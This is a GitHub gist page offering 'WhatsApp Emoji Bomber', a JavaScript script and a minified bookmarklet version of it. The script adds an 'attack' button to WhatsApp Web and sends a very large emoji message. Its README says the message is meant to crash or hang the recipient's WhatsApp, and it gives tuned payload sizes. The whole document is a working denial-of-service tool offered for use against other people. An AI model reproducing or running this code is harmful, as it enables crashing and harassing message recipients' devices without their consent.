Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
WhatsApp Emoji Bomber

#WhatsApp Emoji Bomber

##What is this? Simple JS that sends a huge message containing emojis, which would crash or atleast hang WhatsApp.

##Usage

##CAUTION

  • It may crash browser so be calm, don't kill the tab.
  • It may crash whatsapp of yours as well the contact you're sending.
  • Maximum possible payload is around 160kb however don't make it too large otherwise it will be unstable. 50kb is optimum.

Tweet me @parthpower for bug reports or feature request. Special thanks to https://github.com/macr1408/Whatsapp for base code and @jdcpower1994 for testing assistance.

//WhatsApp Emoji Bomber
//Copyright (c) 2016 Parth Parikh
//Under MIT License
//Dispatch function by macr1408 from https://github.com/macr1408/Whatsapp
function dispatch(target, eventType, char) {
var evt = document.createEvent("TextEvent");
evt.initTextEvent(eventType, true, true, window, char, 0, "en-US");
target.focus();
target.dispatchEvent(evt);
}
ip = document.createElement("input");
document.querySelector("#side > header > div.pane-list-user").appendChild(ip);
ip.focus();
bt = document.createElement("button");
bt.textContent = "attack";
bt.onclick = function() {
size = ip.value;
sendPayload(size);
document.querySelector("#side > header > div.pane-list-user").removeChild(ip);
document.querySelector("#side > header > div.pane-list-user").removeChild(bt);
}
document.querySelector("#side > header > div.pane-list-user").appendChild(bt);
function sendPayload(size) {
a = document.querySelector("#main > footer > div > div > div > div.input");
payload = "";
base = "๐Ÿ˜‚๐Ÿ‘๐Ÿผ๐Ÿ˜ฌ๐Ÿ˜Š๐Ÿ˜„๐Ÿ˜ขโžฟ๐Ÿ“ตใ€ฝ8โƒฃ๐Ÿช6โƒฃ๐Ÿ”†๐Ÿ˜๐Ÿ™ˆโ•๐Ÿ’ณ๐Ÿ˜ฆ๐Ÿ˜‹๐Ÿธโ™ป๐Ÿง๐Ÿ“ฏ๐Ÿ˜จ๐Ÿ’ท๐Ÿ˜ง๐Ÿน๐Ÿ˜ฃ๐Ÿ˜š๐Ÿ’ถโ“‚๐Ÿถ๐ŸŒ๐Ÿ˜โฐ๐Ÿ˜€๐Ÿ˜ฌ๐Ÿ˜๐Ÿ˜Š๐Ÿ˜š๐Ÿ˜œ๐Ÿ˜๐Ÿ’Ÿโœกโ™ˆ๐Ÿ›๐Ÿˆณโ™’โ™‹โ™ˆ๐Ÿ•‰โ˜ชโœ๐Ÿ“ด๐Ÿ“ณ๐Ÿ…ฐโ˜ขโ˜ขโ˜ฃ๐Ÿ‰‘๐Ÿ’ฎ๐Ÿ”ฐโ”โ”๐Ÿšทโ™จ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ˜‚๐Ÿ‘๐Ÿผ๐Ÿ˜ฌ๐Ÿ˜Š๐Ÿ’ฐ๐Ÿ˜„๐Ÿ˜ขโžฟ๐Ÿ“ตใ€ฝ8โƒฃ๐Ÿช6โƒฃ๐Ÿ”†๐Ÿ˜๐Ÿ™ˆโ•๐Ÿ’ณ๐Ÿ˜ฆ๐Ÿ˜‹๐Ÿธโ™ป๐Ÿง๐Ÿ“ฏ๐Ÿ˜จ๐Ÿ’ท๐Ÿ˜ง๐Ÿน๐Ÿ˜ฃ๐Ÿ˜š๐Ÿ’ถโ“‚๐Ÿถ๐ŸŒ๐Ÿ˜โฐ๐Ÿ˜€๐Ÿ˜ฌ๐Ÿ˜๐Ÿ˜Š๐Ÿ˜š๐Ÿ˜œ๐Ÿ˜๐Ÿ’Ÿโœกโ™ˆ๐Ÿ›๐Ÿˆณโ™’โ™‹โ™ˆ๐Ÿ•‰โ˜ชโœ๐Ÿ“ด๐Ÿ“ณ๐Ÿ…ฐโ˜ขโ˜ขโ˜ฃ๐Ÿ‰‘๐Ÿ’ฎ๐Ÿ”ฐโ”โ”๐Ÿšทโ™จ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ’Ÿ๐Ÿ˜‚๐Ÿ‘๐Ÿผ๐Ÿ˜ฌ๐Ÿ˜Š๐Ÿ’ฐ๐Ÿ˜„๐Ÿ˜ขโžฟ๐Ÿ“ตใ€ฝ8โƒฃ๐Ÿช6โƒฃ๐Ÿ”†๐Ÿ˜๐Ÿ™ˆโ•๐Ÿ’ณ๐Ÿ˜ฆ๐Ÿ˜‹๐Ÿธโ™ป๐Ÿง๐Ÿ“ฏ๐Ÿ˜จ๐Ÿ’ท๐Ÿ˜ง๐Ÿน๐Ÿ˜ฃ๐Ÿ˜š๐Ÿ’ถโ“‚๐Ÿถ๐ŸŒ๐Ÿ˜โฐ๐Ÿ˜€๐Ÿ˜ฌ๐Ÿ˜๐Ÿ˜Š๐Ÿ˜š๐Ÿ˜œ๐Ÿ˜๐Ÿ’Ÿโœกโ™ˆ๐Ÿ›๐Ÿˆณโ™’โ™‹โ™ˆ๐Ÿ•‰โ˜ชโœ๐Ÿ“ด๐Ÿ“ณ๐Ÿ…ฐโ˜ขโ˜ขโ˜ฃ๐Ÿ‰‘๐Ÿ’ฎ๐Ÿ”ฐโ”โ”๐Ÿšทโ™จ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ”ฐ๐Ÿ’Ÿ๐Ÿ˜‚๐Ÿ˜‚";
for (i = 0; i < size; i++) {
payload += base;
}
dispatch(a, "textInput", payload);
delete payload;
document.querySelector("#main > footer > div > button.icon.btn-icon.icon-send.send-container").click();
}
javascript:function dispatch(e,t,i){var n=document.createEvent("TextEvent");n.initTextEvent(t,!0,!0,window,i,0,"en-US"),e.focus(),e.dispatchEvent(n)}function sendPayload(e){for(a=document.querySelector("#main > footer > div > div > div > div.input"),payload="",base="%F0%9F%98%82%F0%9F%91%8D%F0%9F%8F%BC%F0%9F%98%AC%F0%9F%98%8A%F0%9F%98%84%F0%9F%98%A2%E2%9E%BF%F0%9F%93%B5%E3%80%BD8%E2%83%A3%F0%9F%8D%AA6%E2%83%A3%F0%9F%94%86%F0%9F%98%81%F0%9F%99%88%E2%9D%95%F0%9F%92%B3%F0%9F%98%A6%F0%9F%98%8B%F0%9F%8D%B8%E2%99%BB%F0%9F%8F%A7%F0%9F%93%AF%F0%9F%98%A8%F0%9F%92%B7%F0%9F%98%A7%F0%9F%8D%B9%F0%9F%98%A3%F0%9F%98%9A%F0%9F%92%B6%E2%93%82%F0%9F%8D%B6%F0%9F%8C%90%F0%9F%98%90%E2%8F%B0%F0%9F%98%80%F0%9F%98%AC%F0%9F%98%81%F0%9F%98%8A%F0%9F%98%9A%F0%9F%98%9C%F0%9F%98%90%F0%9F%92%9F%E2%9C%A1%E2%99%88%F0%9F%9B%90%F0%9F%88%B3%E2%99%92%E2%99%8B%E2%99%88%F0%9F%95%89%E2%98%AA%E2%9C%9D%F0%9F%93%B4%F0%9F%93%B3%F0%9F%85%B0%E2%98%A2%E2%98%A2%E2%98%A3%F0%9F%89%91%F0%9F%92%AE%F0%9F%94%B0%E2%9D%94%E2%9D%94%F0%9F%9A%B7%E2%99%A8%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%98%82%F0%9F%91%8D%F0%9F%8F%BC%F0%9F%98%AC%F0%9F%98%8A%F0%9F%92%B0%F0%9F%98%84%F0%9F%98%A2%E2%9E%BF%F0%9F%93%B5%E3%80%BD8%E2%83%A3%F0%9F%8D%AA6%E2%83%A3%F0%9F%94%86%F0%9F%98%81%F0%9F%99%88%E2%9D%95%F0%9F%92%B3%F0%9F%98%A6%F0%9F%98%8B%F0%9F%8D%B8%E2%99%BB%F0%9F%8F%A7%F0%9F%93%AF%F0%9F%98%A8%F0%9F%92%B7%F0%9F%98%A7%F0%9F%8D%B9%F0%9F%98%A3%F0%9F%98%9A%F0%9F%92%B6%E2%93%82%F0%9F%8D%B6%F0%9F%8C%90%F0%9F%98%90%E2%8F%B0%F0%9F%98%80%F0%9F%98%AC%F0%9F%98%81%F0%9F%98%8A%F0%9F%98%9A%F0%9F%98%9C%F0%9F%98%90%F0%9F%92%9F%E2%9C%A1%E2%99%88%F0%9F%9B%90%F0%9F%88%B3%E2%99%92%E2%99%8B%E2%99%88%F0%9F%95%89%E2%98%AA%E2%9C%9D%F0%9F%93%B4%F0%9F%93%B3%F0%9F%85%B0%E2%98%A2%E2%98%A2%E2%98%A3%F0%9F%89%91%F0%9F%92%AE%F0%9F%94%B0%E2%9D%94%E2%9D%94%F0%9F%9A%B7%E2%99%A8%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%92%9F%F0%9F%98%82%F0%9F%91%8D%F0%9F%8F%BC%F0%9F%98%AC%F0%9F%98%8A%F0%9F%92%B0%F0%9F%98%84%F0%9F%98%A2%E2%9E%BF%F0%9F%93%B5%E3%80%BD8%E2%83%A3%F0%9F%8D%AA6%E2%83%A3%F0%9F%94%86%F0%9F%98%81%F0%9F%99%88%E2%9D%95%F0%9F%92%B3%F0%9F%98%A6%F0%9F%98%8B%F0%9F%8D%B8%E2%99%BB%F0%9F%8F%A7%F0%9F%93%AF%F0%9F%98%A8%F0%9F%92%B7%F0%9F%98%A7%F0%9F%8D%B9%F0%9F%98%A3%F0%9F%98%9A%F0%9F%92%B6%E2%93%82%F0%9F%8D%B6%F0%9F%8C%90%F0%9F%98%90%E2%8F%B0%F0%9F%98%80%F0%9F%98%AC%F0%9F%98%81%F0%9F%98%8A%F0%9F%98%9A%F0%9F%98%9C%F0%9F%98%90%F0%9F%92%9F%E2%9C%A1%E2%99%88%F0%9F%9B%90%F0%9F%88%B3%E2%99%92%E2%99%8B%E2%99%88%F0%9F%95%89%E2%98%AA%E2%9C%9D%F0%9F%93%B4%F0%9F%93%B3%F0%9F%85%B0%E2%98%A2%E2%98%A2%E2%98%A3%F0%9F%89%91%F0%9F%92%AE%F0%9F%94%B0%E2%9D%94%E2%9D%94%F0%9F%9A%B7%E2%99%A8%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%94%B0%F0%9F%92%9F%F0%9F%98%82%F0%9F%98%82",i=0;i<e;i++)payload+=base;dispatch(a,"textInput",payload),delete payload,document.querySelector("#main > footer > div > button.icon.btn-icon.icon-send.send-container").click()}ip=document.createElement("input"),document.querySelector("#side > header > div.pane-list-user").appendChild(ip),ip.focus(),bt=document.createElement("button"),bt.textContent="attack",bt.onclick=function(){size=ip.value,sendPayload(size),document.querySelector("#side > header > div.pane-list-user").removeChild(ip),document.querySelector("#side > header > div.pane-list-user").removeChild(bt)},document.querySelector("#side > header > div.pane-list-user").appendChild(bt);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You canโ€™t perform that action at this time.